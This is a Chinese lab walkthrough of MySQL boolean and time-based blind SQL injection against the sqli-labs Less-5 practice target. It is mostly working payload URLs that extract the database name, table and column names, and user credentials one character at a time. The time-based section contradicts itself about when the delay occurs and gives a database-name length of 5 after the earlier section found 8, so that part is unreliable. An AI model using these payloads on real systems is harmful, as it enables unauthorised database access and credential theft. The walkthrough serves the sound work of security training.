MYSQL布尔注入
原理为利用mid()获取字符,利用ord()将字符转为ASCII码,利用>、<和=来确定字符的范围。
获取数据库名长度
http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and 1>2 or length(database())=8#
获取数据库名
http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and 1>2 or ord(mid(database(),1,1))=115#
为 ‘s’
依次类推得到名字为’security’
查询表数量
http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and 1>2 or (select count(*) from information_schema.tables where table_schema=database())=4#
表数量为4
获取第一个表名的长度
http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and 1>2 or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6#
为6
获取第一个表的名字
http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and 1>2 or ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101#
得到第一个字节为’e’
依次类推得到第一个表为’emails’
得到后几个表为
‘referers’,’users’,’ungents’
获取users字段的数据量
http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and (select count(*) from users)=13#
可得共有13条数据
获取users字段数量及长度
数量
http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and 1=2 or (select count(*) from information_schema.columns where table_name=‘users’ and table_schema=database()) =3#
表中字段为3
获取第一个字段名长度
http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and 1=2 or length((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit 0,1)) =2#
获取长度为2
获取第一个字段名首字母为’i’
http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and 1=2 or ord(mid((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit 0,1),1,1)) =105#
依次得到第一个表名为id
后面表为username,password。
获取username字段的第一条数据
http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and 1=2 or length((select username from users limit 0,1)) =4#
长度为4
第一条数据第一个字母为’D’
http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and ord(mid((select username from users limit 0,1),1,1)) =68#
依次得到第一个username为Dumb
第一个password字段数据长度为 4
http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and 1=2 or length((select password from users limit 0,1)) =4#
第一条数据为与上面username对应为Dumb
后面可依次得到接下来的username和password
延时注入
通过sleep搭配if语句进行注入
适用于无回显状态
语句
http://127.0.0.1/sql/sqli-labs/Less-5/?id=1’ and sleep(if(length((select database()))>8,0,5))#
在大于8 的时候出现延时超过5秒现象,得到数据库名长度为5
接下去步骤如同布尔注入相同,只是用的函数不同